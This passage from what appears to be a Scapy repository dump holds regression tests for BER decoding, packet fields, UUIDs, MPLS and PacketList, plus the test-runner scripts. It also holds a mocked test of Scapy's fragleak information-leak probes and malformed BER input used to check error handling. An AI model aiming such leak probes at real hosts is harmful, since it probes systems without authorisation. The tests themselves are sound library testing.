scapy.asn1.mib import x509_oids_sets\n\n_dct = {}\nfor d in x509_oids_sets:\n    for elt in d:\n        if elt in _dct:\n            raise ValueError(\"OID %s already exists\" % elt)\n    _dct.update(d)\n\n= BER tests\n\nBER_id_enc(42) == '*'\nBER_id_enc(2807) == b'\\xbfw'\n\nb = BERcodec_IPADDRESS()\nr1 = b.enc(\"8.8.8.8\")\nr1 == b'@\\x04\\x08\\x08\\x08\\x08'\n\nr2 = b.dec(r1)[0]\nr2.val == '8.8.8.8'\n\na = b'\\x1f\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\xfe\\x01\\x01\\x00C\\x02\\x01U0\\x0f0\\r\\x06\\x08+\\x06\\x01\\x02\\x01\\x02\\x01\\x00\\x02\\x01!'\nret = False\ntry:\n    BERcodec_Object.check_type(a)\nexcept BER_BadTag_Decoding_Error:\n    ret = True\nelse:\n    ret = False\n\nassert ret\n\n= BER trigger failures\n\ntry:\n    BERcodec_INTEGER.do_dec(b\"\\x02\\x01\")\n    assert False\nexcept BER_Decoding_Error:\n    pass\n\n\n############\n############\n+ Fields\n\n= FieldLenField with BitField\nclass Test(Packet):\n    name = \"Test\"\n    fields_desc = [\n        FieldLenField(\"BitCount\", None, fmt=\"H\", count_of=\"Values\"),\n        FieldLenField(\"ByteCount\", None, fmt=\"B\", length_of=\"Values\"),\n        FieldListField(\"Values\", [], BitField(\"data\", 0x0, size=1),\n                       count_from=lambda pkt: pkt.BitCount),\n    ]\n\npkt = Test(raw(Test(Values=[0, 0, 0, 0, 1, 1, 1, 1])))\nassert pkt.BitCount == 8\nassert pkt.ByteCount == 1\n\n= PacketListField\n\nclass TestPacket(Packet):\n  name = 'TestPacket'\n  fields_desc = [ PacketListField('list', [], 0) ]\n\na = TestPacket()\na.list.append(1)\nassert len(a.list) == 1\n\nb = TestPacket()\nassert len(b.list) == 0\n\n= Test PacketListField deepcopy\nclass SubPacket(Packet):\n    name = \"SubPacket\"\n    fields_desc = [\n        ByteField(\"mem\", 1),\n    ]\n\nclass TestPacket(Packet):\n    name = \"TestPacket\"\n    fields_desc = [\n        PacketListField(\"packlist\", SubPacket(), SubPacket),\n    ]\n\na = TestPacket()\nb = a.copy()\nfuzz(b)\nassert a.packlist[0].mem == 1\n\n= PacketField\n\nclass InnerPacket(Packet):\n    fields_desc = [ StrField(\"f_name\", \"test\") ]\n\nclass TestPacket(Packet):\n    fields_desc = [ PacketField(\"inner\", InnerPacket(), InnerPacket) ]\n\np = TestPacket()\nprint(p.inner.f_name)\nassert p.inner.f_name == b\"test\"\n\np = TestPacket()\np.inner.f_name = b\"scapy\"\nassert p.inner.f_name == b\"scapy\"\n\np = TestPacket()\nassert p.inner.f_name == b\"test\"\n\n+ UUIDField\n\n= Parsing a human-readable UUID\nf = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef')\nf.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef')\n\n= Parsing a machine-encoded UUID\nf = UUIDField('f', bytearray.fromhex('0123456789abcdef0123456789abcdef'))\nf.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef')\n\n= Parsing a tuple of values\nf = UUIDField('f', (0x01234567, 0x89ab, 0xcdef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef))\nf.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef')\n\n= Handle None values\nf = UUIDField('f', None)\nf.addfield(None, b'', f.default) == hex_bytes('00000000000000000000000000000000')\n\n= Get a UUID for dissection\nfrom uuid import UUID\nf = UUIDField('f', None)\nf.getfield(None, bytearray.fromhex('0123456789abcdef0123456789abcdef01')) == (b'\\x01', UUID('01234567-89ab-cdef-0123-456789abcdef'))\n\n= Verify little endian UUIDField\n* The endianness of a UUIDField should be apply by block on each block in parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)'\nf = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_LE)\nf.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef')\n\n= Verify reversed UUIDField\n* This should reverse the entire value as 128-bits\nf = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_REV)\nf.addfield(None, b'', f.default) == hex_bytes('efcdab8967452301efcdab8967452301')\n\n+ RandUUID\n\n= RandUUID setup\n\nRANDUUID_TEMPLATE = '01234567-89ab-*-01*-*****ef'\nRANDUUID_FIXED = uuid.uuid4()\n\n= RandUUID default behaviour\n\nru = RandUUID()\nassert ru._fix().version == 4\nassert ru.command() == \"RandUUID()\"\n\n= RandUUID incorrect implicit args\n\nassert expect_exception(ValueError, lambda: RandUUID(node=0x1234, name=\"scapy\"))\nassert expect_exception(ValueError, lambda: RandUUID(node=0x1234, namespace=uuid.uuid4()))\nassert expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, name=\"scapy\"))\nassert expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, namespace=uuid.uuid4()))\nassert expect_exception(ValueError, lambda: RandUUID(name=\"scapy\"))\nassert expect_exception(ValueError, lambda: RandUUID(namespace=uuid.uuid4()))\n\n= RandUUID v4 UUID (correct args)\n\nu = RandUUID(version=4)._fix()\nassert u.version == 4\n\nu2 = RandUUID(version=4)._fix()\nassert u2.version == 4\n\nassert str(u) != str(u2)\n\n= RandUUID v4 UUID (incorrect args)\n\nassert expect_exception(ValueError, lambda: RandUUID(version=4, template=RANDUUID_TEMPLATE))\nassert expect_exception(ValueError, lambda: RandUUID(version=4, node=0x1234))\nassert expect_exception(ValueError, lambda: RandUUID(version=4, clock_seq=0x1234))\nassert expect_exception(ValueError, lambda: RandUUID(version=4, namespace=uuid.uuid4()))\nassert expect_exception(ValueError, lambda: RandUUID(version=4, name=\"scapy\"))\n\n= RandUUID v1 UUID\n\nu = RandUUID(version=1)._fix()\nassert u.version in [1, 4]\n\nu = RandUUID(version=1, node=0x1234)._fix()\nassert u.version == 1\nassert u.node == 0x1234\n\nu = RandUUID(version=1, clock_seq=0x1234)._fix()\nassert u.version == 1\nassert u.clock_seq == 0x1234\n\nru = RandUUID(version=1, node=0x1234, clock_seq=0x1bcd)\nassert ru.command() == \"RandUUID(node=4660, clock_seq=7117, version=1)\"\nu = ru._fix()\nassert u.version == 1\nassert u.node == 0x1234\nassert u.clock_seq == 0x1bcd\n\n= RandUUID v1 UUID (implicit version)\n\nu = RandUUID(node=0x1234)._fix()\nassert u.version == 1\nassert u.node == 0x1234\n\nu = RandUUID(clock_seq=0x1234)._fix()\nassert u.version == 1\nassert u.clock_seq == 0x1234\n\nu = RandUUID(node=0x1234, clock_seq=0x1bcd)._fix()\nassert u.version == 1\nassert u.node == 0x1234\nassert u.clock_seq == 0x1bcd\n\n= RandUUID v1 UUID (incorrect args)\n\nassert expect_exception(ValueError, lambda: RandUUID(version=1, template=RANDUUID_TEMPLATE))\nassert expect_exception(ValueError, lambda: RandUUID(version=1, namespace=uuid.uuid4()))\nassert expect_exception(ValueError, lambda: RandUUID(version=1, name=\"scapy\"))\n\n= RandUUID v5 UUID\n\nru = RandUUID(version=5, namespace=RANDUUID_FIXED, name=\"scapy\")\nu = ru._fix()\nassert u.version == 5\nassert ru.command() == \"RandUUID(namespace=%r, name='scapy', version=5)\" % RANDUUID_FIXED\n\nu2 = RandUUID(version=5, namespace=RANDUUID_FIXED, name=\"scapy\")._fix()\nassert u2.version == 5\nassert u.bytes == u2.bytes\n\n# implicit v5\nu2 = RandUUID(namespace=RANDUUID_FIXED, name=\"scapy\")._fix()\nassert u.bytes == u2.bytes\n\n= RandUUID v5 UUID (incorrect args)\n\nassert expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE))\nassert expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234))\nassert expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234))\n\n= RandUUID v3 UUID\n\nu = RandUUID(version=3, namespace=RANDUUID_FIXED, name=\"scapy\")._fix()\nassert u.version == 3\n\nu2 = RandUUID(version=3, namespace=RANDUUID_FIXED, name=\"scapy\")._fix()\nassert u2.version == 3\nassert u.bytes == u2.bytes\n\n# implicit v5\nu2 = RandUUID(namespace=RANDUUID_FIXED, name=\"scapy\")._fix()\nassert u.bytes != u2.bytes\n\n= RandUUID v3 UUID (incorrect args)\n\nassert expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE))\nassert expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234))\nassert expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234))\n\n= RandUUID looks like a UUID with str\nassert re.match(r'[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}', str(RandUUID()), re.I) is not None\n\n= RandUUID with a static part\n* RandUUID template can contain static part such a 01234567-89ab-*-01*-*****ef\nru = RandUUID('01234567-89ab-*-01*-*****ef')\nassert re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{10}ef', str(ru), re.I) is not None\nassert ru.command() == \"RandUUID(template='01234567-89ab-*-01*-*****ef')\"\n\n= RandUUID with a range part\n* RandUUID template can contain a part with a range of values such a 01234567-89ab-*-01*-****c0:c9ef\nassert re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{8}c[0-9]ef', str(RandUUID('01234567-89ab-*-01*-****c0:c9ef')), re.I) is not None\n\n############\n############\n+ MPLS tests\n\n= MPLS - build/dissection\nfrom scapy.contrib.mpls import EoMCW, MPLS\np1 = MPLS()/IP()/UDP()\nassert p1[MPLS].s == 1\np2 = MPLS()/MPLS()/IP()/UDP()\nassert p2[MPLS].s == 0\n\np1[MPLS]\np1[IP]\np2[MPLS]\np2[MPLS:1]\np2[IP]\n\n= MPLS encapsulated Ethernet with CW - build/dissection\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= MPLS(label=1)/EoMCW(seq=1234)\np /= Ether(dst=\"33:33:33:33:33:33\", src=\"44:44:44:44:44:44\")/IP()\np = Ether(raw(p))\nassert p[EoMCW].zero == 0\nassert p[EoMCW].reserved == 0\nassert p[EoMCW].seq == 1234\n\n=  MPLS encapsulated Ethernet without CW - build/dissection\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= MPLS(label=2)/MPLS(label=1)\np /= Ether(dst=\"33:33:33:33:33:33\", src=\"44:44:44:44:44:44\")/IP()\np = Ether(raw(p))\nassert p[Ether:2].type == 0x0800\n\ntry:\n    p[EoMCW]\nexcept IndexError:\n    ret = True\nelse:\n    ret = False\n\nassert ret\nassert p[Ether:2].type == 0x0800\n\n= MPLS encapsulated IP - build/dissection\np = Ether(dst=\"11:11:11:11:11:11\", src=\"22:22:22:22:22:22\")\np /= MPLS(label=1)/IP()\np = Ether(raw(p))\n\ntry:\n    p[EoMCW]\nexcept IndexError:\n    ret = True\nelse:\n    ret = False\n\nassert ret\n\ntry:\n    p[Ether:2]\nexcept IndexError:\n    ret = True\nelse:\n    ret = False\n\nassert ret\n\np[IP]\n\n\n############\n############\n+ PacketList methods\n\n= sr()\n\nclass Req(Packet):\n    fields_desc = [\n        ByteField(\"raw\", 0)\n    ]\n    def answers(self, other):\n        return False\n\nclass Res(Packet):\n    fields_desc = [\n        ByteField(\"raw\", 0)\n    ]\n    def answers(self, other):\n        return other.__class__ == Req and other.raw == self.raw\n\npl = PacketList([Req(b\"1\"), Res(b\"1\"), Req(b\"2\"), Req(b\"3\"), Req(b\"4\"), Res(b\"3\"), Res(b\"1\"), Res(b\"1\"), Res(b\"4\")])\n\nsrl, rl = pl.sr()\nassert len(srl) == 3\nassert len(rl) == 3\n\nsrl, rl = pl.sr(lookahead=1)\nassert len(srl) == 1\nassert len(rl) == 7\n\nsrl, rl = pl.sr(lookahead=2)\nassert len(srl) == 2\nassert len(rl) == 5\n\nsrl, rl = pl.sr(lookahead=3)\nassert len(srl) == 3\nassert len(rl) == 3\n\npl = PacketList([Req(b\"\\x05\"), Res(b\"1\"), Res(b\"2\"), Res(b\"3\"), Res(b\"4\"), Res(b\"3\"), Res(b\"1\"), Res(b\"1\"), Res(b\"\\x05\")])\n\nsrl, rl = pl.sr(lookahead=3)\nassert len(srl) == 0\nassert len(rl) == 9\n\nsrl, rl = pl.sr(lookahead=7)\nassert len(srl) == 0\nassert len(rl) == 9\n\nsrl, rl = pl.sr(lookahead=8)\nassert len(srl) == 1\nassert len(rl) == 7\n\nsrl, rl = pl.sr(lookahead=0)\nassert len(srl) == 1\nassert len(rl) == 7\n\nsrl, rl = pl.sr(lookahead=None)\nassert len(srl) == 1\nassert len(rl) == 7\n\n= pickle test\nimport pickle\nimport io\n\nsrl, rl = PacketList([Raw(b\"1\"), Raw(b\"1\"), Raw(b\"2\"), Raw(b\"3\"), Raw(b\"4\"), Raw(b\"3\"), Raw(b\"1\"), Raw(b\"1\"), Raw(b\"4\")]).sr()\nassert len(srl) == 4\n\nf = io.BytesIO()\n\npickle.dump(srl, f)\n\nunp = pickle.loads(f.getvalue())\n\nassert len(unp) == len(srl)\nassert all(bytes(a[0]) == bytes(b[0]) for a, b in zip(unp, srl))\n\n= plot()\n\nfrom unittest import mock\nimport scapy.libs.matplot\n\n@mock.patch(\"scapy.libs.matplot.plt\")\ndef test_plot(mock_plt):\n    def fake_plot(data, **kwargs):\n        return data\n    mock_plt.plot = fake_plot\n    plist = PacketList([IP(id=i)/TCP() for i in range(10)])\n    lines = plist.plot(lambda p: (p.time, p.id))\n    assert len(lines) == 10\n\ntest_plot()\n\n= diffplot()\n\nfrom unittest import mock\nimport scapy.libs.matplot\n\n@mock.patch(\"scapy.libs.matplot.plt\")\ndef test_diffplot(mock_plt):\n    def fake_plot(data, **kwargs):\n        return data\n    mock_plt.plot = fake_plot\n    plist = PacketList([IP(id=i)/TCP() for i in range(10)])\n    lines = plist.diffplot(lambda x,y: (x.time, y.id-x.id))\n    assert len(lines) == 9\n\ntest_diffplot()\n\n= multiplot()\n\nfrom unittest import mock\nimport scapy.libs.matplot\n\n@mock.patch(\"scapy.libs.matplot.plt\")\ndef test_multiplot(mock_plt):\n    def fake_plot(data, **kwargs):\n        return data\n    mock_plt.plot = fake_plot\n    tmp = [IP(id=i)/TCP() for i in range(10)]\n    plist = PacketList([tuple(tmp[i-2:i]) for i in range(2, 10, 2)])\n    lines = plist.multiplot(lambda x, y: (y[IP].src, (y.time, y[IP].id)))\n    assert len(lines) == 1\n    assert len(lines[0]) == 4\n\ntest_multiplot()\n\n= rawhexdump()\n\ndef test_rawhexdump():\n    with ContextManagerCaptureOutput() as cmco:\n        p = PacketList([IP()/TCP() for i in range(2)])\n        p.rawhexdump()\n        result_pl_rawhexdump = cmco.get_output()\n    assert len(result_pl_rawhexdump.split('\\n')) == 7\n    assert result_pl_rawhexdump.startswith(\"0000  45 00 00 28\")\n\ntest_rawhexdump()\n\n= hexraw()\n\ndef test_hexraw():\n    with ContextManagerCaptureOutput() as cmco:\n        p = PacketList([IP()/Raw(str(i)) for i in range(2)])\n        p.hexraw()\n        result_pl_hexraw = cmco.get_output()\n    assert len(result_pl_hexraw.split('\\n')) == 5\n    assert \"0000  30\" in result_pl_hexraw\n\ntest_hexraw()\n\n= hexdump()\n\ndef test_hexdump():\n    with ContextManagerCaptureOutput() as cmco:\n        p = PacketList([IP()/Raw(str(i)) for i in range(2)])\n        p.hexdump()\n        result_pl_hexdump = cmco.get_output()\n    assert len(result_pl_hexdump.split('\\n')) == 7\n    assert \"0010  7F 00 00 01 31\" in result_pl_hexdump\n\ntest_hexdump()\n\n= import_hexcap()\n\n@mock.patch(\"scapy.utils.input\")\ndef test_import_hexcap(mock_input):\n    data = \"\"\"\n0000  FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00  ..............E.\n0010  00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00  ......@.|.......\n0020  00 01 08 00 F7 FF 00 00 00 00                    ..........\n\"\"\"[1:].split(\"\\n\")\n    lines = iter(data)\n    mock_input.side_effect = lambda: next(lines)\n    return import_hexcap()\n\npkt = test_import_hexcap()\npkt = Ether(pkt)\nassert pkt[Ether].dst == \"ff:ff:ff:ff:ff:ff\"\nassert pkt[IP].dst == \"127.0.0.1\"\nassert ICMP in pkt\n\n= import_hexcap(input_string)\ndata = \"\"\"\n0000  FF FF FF FF FF FF AA AA AA AA AA AA 08 00 45 00  ..............E.\n0010  00 1C 00 01 00 00 40 01 7C DE 7F 00 00 01 7F 00  ......@.|.......\n0020  00 01 08 00 F7 FF 00 00 00 00                    ..........\n\"\"\"[1:]\npkt = import_hexcap(data)\npkt = Ether(pkt)\nassert pkt[Ether].dst == \"ff:ff:ff:ff:ff:ff\"\nassert pkt[IP].dst == \"127.0.0.1\"\nassert ICMP in pkt\n\n= padding()\n\ndef test_padding():\n    with ContextManagerCaptureOutput() as cmco:\n        p = PacketList([IP()/conf.padding_layer(str(i)) for i in range(2)])\n        p.padding()\n        result_pl_padding = cmco.get_output()\n    assert len(result_pl_padding.split('\\n')) == 5\n    assert \"0000  30\" in result_pl_padding\n\ntest_padding()\n\n= nzpadding()\n\ndef test_nzpadding():\n    with ContextManagerCaptureOutput() as cmco:\n        p = PacketList([IP()/conf.padding_layer(\"AB\"), IP()/conf.padding_layer(\"\\x00\\x00\")])\n        p.nzpadding()\n        result_pl_nzpadding = cmco.get_output()\n    assert len(result_pl_nzpadding.split('\\n')) == 3\n    assert \"0000  41 42\" in result_pl_nzpadding\n\ntest_nzpadding()\n\n= conversations()\n\nfrom unittest import mock\n@mock.patch(\"scapy.plist.do_graph\")\ndef test_conversations(mock_do_graph):\n    def fake_do_graph(graph, **kwargs):\n        return graph\n    mock_do_graph.side_effect = fake_do_graph\n    plist = PacketList([IP(dst=\"127.0.0.2\")/TCP(dport=i) for i in range(2)])\n    plist.extend([IP(src=\"127.0.0.2\")/TCP(sport=i) for i in range(2)])\n    plist.extend([IPv6(dst=\"::2\", src=\"::1\")/TCP(sport=i) for i in range(2)])\n    plist.extend([IPv6(src=\"::2\", dst=\"::1\")/TCP(sport=i) for i in range(2)])\n    plist.extend([Ether()/ARP(pdst=\"127.0.0.1\")])\n    result_conversations = plist.conversations()\n    assert len(result_conversations.split('\\n')) == 8\n    assert result_conversations.startswith('digraph \"conv\" {')\n    assert \"127.0.0.1\" in result_conversations\n    assert \"::1\" in result_conversations\n\ntest_conversations()\n\n= sessions()\n\npl = PacketList([Ether()/IPv6()/ICMPv6EchoRequest(), Ether()/IPv6()/IPv6()])\npl.extend([Ether()/IP()/IP(), Ether()/ARP()])\npl.extend([Ether()/Ether()/IP()])\nassert len(pl.sessions().keys()) == 5\n\n= afterglow()\n\nfrom unittest import mock\n@mock.patch(\"scapy.plist.do_graph\")\ndef test_afterglow(mock_do_graph):\n    def fake_do_graph(graph, **kwargs):\n        return graph\n    mock_do_graph.side_effect = fake_do_graph\n    plist = PacketList([IP(dst=\"127.0.0.2\")/TCP(dport=i) for i in range(2)])\n    plist.extend([IP(src=\"127.0.0.2\")/TCP(sport=i) for i in range(2)])\n    result_afterglow = plist.afterglow()\n    assert len(result_afterglow.split('\\n')) == 19\n    assert result_afterglow.startswith('digraph \"afterglow\" {')\n\ntest_afterglow()\n\n= psdump()\n\nprint(\"PYX: %d\" % PYX)\nif PYX:\n    import tempfile\n    import os\n    filename = tempfile.mktemp(suffix=\".eps\")\n    plist = PacketList([IP()/TCP()])\n    plist.psdump(filename)\n    assert os.path.exists(filename)\n    os.unlink(filename)\n\n= pdfdump()\n\nprint(\"PYX: %d\" % PYX)\nif PYX:\n    import tempfile\n    import os\n    filename = tempfile.mktemp(suffix=\".pdf\")\n    plist = PacketList([IP()/TCP()])\n    plist.pdfdump(filename)\n    assert os.path.exists(filename)\n    os.unlink(filename)\n\n= svgdump()\n\nprint(\"PYX: %d\" % PYX)\nif PYX:\n    import tempfile\n    import os\n    filename = tempfile.mktemp(suffix=\".svg\")\n    plist = PacketList([IP()/TCP()])\n    plist.svgdump(filename)\n    assert os.path.exists(filename)\n    os.unlink(filename)\n\n= __getstate__ / __setstate__ (used by pickle)\n\nimport pickle\n\nfrm = Ether(src='00:11:22:33:44:55', dst='00:22:33:44:55:66')/Raw()\nfrm.time = EDecimal(123.45)\nfrm.sniffed_on = \"iface\"\nfrm.wirelen = 1\npl = PacketList(res=[frm, frm], name='WhatAGreatName')\npickled = pickle.dumps(pl)\npl = pickle.loads(pickled)\nassert pl.listname == \"WhatAGreatName\"\nassert len(pl) == 2\nassert pl[0].time == 123.45\nassert pl[0].sniffed_on == \"iface\"\nassert pl[0].wirelen == 1\nassert pl[0][Ether].src == '00:11:22:33:44:55'\nassert pl[1][Ether].dst == '00:22:33:44:55:66'\n\n= EDecimal\n\n# GH4488\np1, p2 = EDecimal('1722417787.778435252'), EDecimal('1722417787.778435216')\nassert p1 != p2\nassert p1 > p2\nassert not (p1 < p2)\nassert p1 == 1722417787.778435252  # float test\nassert p2 == 1722417787.778435216\nassert (p1, 0) > (p2, 1)\n\n############\n############\n+ Scapy version\n\n= _version()\n\nimport os\nfrom datetime import datetime, timezone\n\nversion_filename = os.path.join(scapy._SCAPY_PKG_DIR, \"VERSION\")\nmtime = datetime.fromtimestamp(os.path.getmtime(scapy.__file__), timezone.utc)\nversion = \"2.0.0\"\nwith open(version_filename, \"w\") as fd:\n    fd.write(version)\n\nos.environ[\"SCAPY_VERSION\"] = \"9.9.9\"\nassert scapy._version() == \"9.9.9\"\ndel os.environ[\"SCAPY_VERSION\"]\n\nassert scapy._version() == version\nos.unlink(version_filename)\n\nfrom unittest import mock\nwith mock.patch(\"scapy._version_from_git_archive\") as archive:\n    archive.return_value = \"4.4.4\"\n    assert scapy._version() == \"4.4.4\"\n    archive.side_effect = ValueError()\n    with mock.patch(\"scapy._version_from_git_describe\") as git:\n        git.return_value = \"3.3.3\"\n        assert scapy._version() == \"3.3.3\"\n        git.side_effect = Exception()\n        assert scapy._version() == mtime.strftime(\"%Y.%m.%d\")\n        with mock.patch(\"os.path.getmtime\") as getmtime:\n            getmtime.side_effect = Exception()\n            assert scapy._version() == \"0.0.0\"\n\n\n= UTscapy HTML output\n\nimport tempfile, os\nfrom scapy.tools.UTscapy import TestCampaign, pack_html_campaigns\ntest_campaign = TestCampaign(\"test\")\ntest_campaign.output_file = tempfile.mktemp()\nhtml = pack_html_campaigns([test_campaign], None, local=True)\ndirname = os.path.dirname(test_campaign.output_file)\nfilename_js = \"%s/UTscapy.js\" % dirname\nfilename_css = \"%s/UTscapy.css\" % dirname\nassert os.path.isfile(filename_js)\nassert os.path.isfile(filename_css)\nos.remove(filename_js)\nos.remove(filename_css)\n\n= test get_temp_dir\n\ndname = get_temp_dir()\nassert os.path.isdir(dname)\n\n= test fragleak functions\n~ netaccess linux fragleak\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.layers.inet.conf.L3socket\")\n@mock.patch(\"scapy.layers.inet.select.select\")\n@mock.patch(\"scapy.layers.inet.sr1\")\ndef _test_fragleak(func, sr1, select, L3socket):\n    packets = [IP(src=\"4.4.4.4\")/ICMP()/IPerror(dst=\"8.8.8.8\")/conf.padding_layer(load=b\"greatdata\")]\n    iterator = iter(packets)\n    ne = lambda *args, **kwargs: next(iterator)\n    L3socket.side_effect = lambda: Bunch(recv=ne, send=lambda x: None)\n    sr1.side_effect = ne\n    select.side_effect = lambda a, b, c, d: a+b+c\n    with ContextManagerCaptureOutput() as cmco:\n        func(\"8.8.8.8\", count=1)\n        out = cmco.get_output()\n        return \"greatdata\" in out\n\nassert _test_fragleak(fragleak)\nassert _test_fragleak(fragleak2)\n\n+ CLIUtil\n~ cliutil\n\n= CLIUtil: define and check overlap\n\nfrom scapy.layers.smbclient import smbclient\n\nclass CLI1(CLIUtil):\n    @CLIUtil.addcommand()\n    def shares(self):\n        return 1\n    @CLIUtil.addoutput(shares)\n    def shares_output(self, results):\n        print(results)\n\n\nclass CLI2(CLIUtil):\n    @CLIUtil.addcommand()\n    def shares(self):\n        return 2\n    @CLIUtil.addoutput(shares)\n    def shares_output(self, results):\n        print(results)\n\n\nc1 = CLI1(cli=False)\nc2 = CLI2(cli=False)\n\nassert c1.shares() == 1\nassert c2.shares() == 2\n"
  },
  {
    "path": "test/run_tests",
    "content": "#! /bin/sh\n#\n# Run Scapy test suite.\n#\n# If ran with no arguments:\n#   ./run_tests\n# this util will run the test suite using tox, with options that should work\n# regardless of the platform or the dependencies. The only dependency for this\n# to work are python3 (or python) and tox.\n#\n# If ran with arguments, this will call UTscapy.py\n#\n# ATTENTION PACKAGE MAINTAINERS:\n# If you do need to run Scapy tests, calling ./run_tests should be enough.\n#\nDIR=$(dirname \"$0\")/..\nif [ -z \"$PYTHON\" ]\nthen\n  ARGS=\"\"\n  for arg in \"$@\"\n  do\n    case $arg\n    in\n      -3) PYTHON=python3;;\n      -W) PYTHONWARNINGS=\"-W error\";;\n       *) ARGS=\"$ARGS $arg\";;\n    esac\n  done\n  PYTHON=${PYTHON:-python3}\nelse\n  ARGS=\"$@\"\nfi\n$PYTHON --version > /dev/null 2>&1\nif [ ! $? -eq 0 ]\nthen\n  echo \"WARNING: '$PYTHON' not found, using 'python' instead.\"\n  PYTHON=python\nfi\n\nif [ -z \"$ARGS\" ]\nthen\n  # No arguments specified: use tox\n  # We use flags to disable tests that use external non tox-installed\n  # software.\n\n  # Check tox\n  tox --version >/dev/null 2>/dev/null\n  if [ ! $? -eq 0 ]\n  then\n    echo \"ERROR: tox is not installed.\"\n    echo \"You can still run ./run_tests with arguments: see ./run_tests -h\"\n    echo \"e.g. ./run_tests -t tls.uts -F\"\n    exit 1\n  fi\n\n  # Run tox\n  export UT_FLAGS=\"-K tcpdump -K wireshark -K tshark -K ci_only -K vcan_socket -K automotive_comm -K imports -K scanner\"\n  export SIMPLE_TESTS=\"true\"\n  export PYTHON\n  export DISABLE_COVERAGE=\" \"\n  PYVER=$($PYTHON -c \"import sys,platform; print(('pypy' if platform.python_implementation() == 'PyPy' else '') + '.'.join(sys.version.split('.')[:2]))\")\n  bash ${DIR}/.config/ci/test.sh $PYVER non_root\n  exit $?\nfi\nPYTHONPATH=$DIR exec \"$PYTHON\" $PYTHONWARNINGS ${DIR}/scapy/tools/UTscapy.py $ARGS\n"
  },
  {
    "path": "test/run_tests.bat",
    "content": "@echo off\r\nset MYDIR=%~dp0..\r\nset PWD=%MYDIR%\r\nset PYTHONPATH=%MYDIR%\r\nREM Note: shift will not work with %*\r\nREM ### Get args, Handle Python version ###\r\nset \"_args=%*\"\r\nIF \"%1\" == \"-3\" (\r\n  set PYTHON=python3\r\n  set \"_args=%_args:~3%\"\r\n)\r\nIF \"%PYTHON%\" == \"\" set PYTHON=python3\r\nWHERE %PYTHON% >nul 2>&1\r\nIF %ERRORLEVEL% NEQ 0 set PYTHON=python\r\nREM Reset Error level\r\nVERIFY > nul\r\necho ##### Starting Unit tests #####\r\nREM ### Check no-argument mode ###\r\nIF \"%_args%\" == \"\" (\r\n  REM Check for tox\r\n  %PYTHON% -m tox --version >nul 2>&1\r\n  IF %ERRORLEVEL% NEQ 0 (\r\n    echo Tox not installed !\r\n    pause\r\n    exit 1\r\n  )\r\n  REM Run tox\r\n  %PYTHON% -m tox -- -K tcpdump -K manufdb -K wireshark -K ci_only -K automotive_comm\r\n  pause\r\n  exit 0\r\n)\r\nREM ### Start UTScapy normally ###\r\n%PYTHON% \"%MYDIR%\\scapy\\tools\\UTscapy.py\" %_args%\r\nPAUSE\r\n"
  },
  {
    "path": "test/scapy/automaton.uts",
    "content": "% Automaton regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Automaton tests\n\n= Simple automaton\n~ automaton\nclass ATMT1(Automaton):\n    def parse_args(self, init, *args, **kargs):\n        Automaton.parse_args(self, *args, **kargs)\n        self.init = init\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        raise self.MAIN(self.init)\n    @ATMT.state()\n    def MAIN(self, s):\n        return s\n    @ATMT.condition(MAIN, prio=-1)\n    def go_to_END(self, s):\n        if len(s) > 20:\n            raise self.END(s).action_parameters(s)\n    @ATMT.condition(MAIN)\n    def trA(self, s):\n        if s.endswith(\"b\"):\n            raise self.MAIN(s+\"a\")\n    @ATMT.condition(MAIN)\n    def trB(self, s):\n        if s.endswith(\"a\"):\n            raise 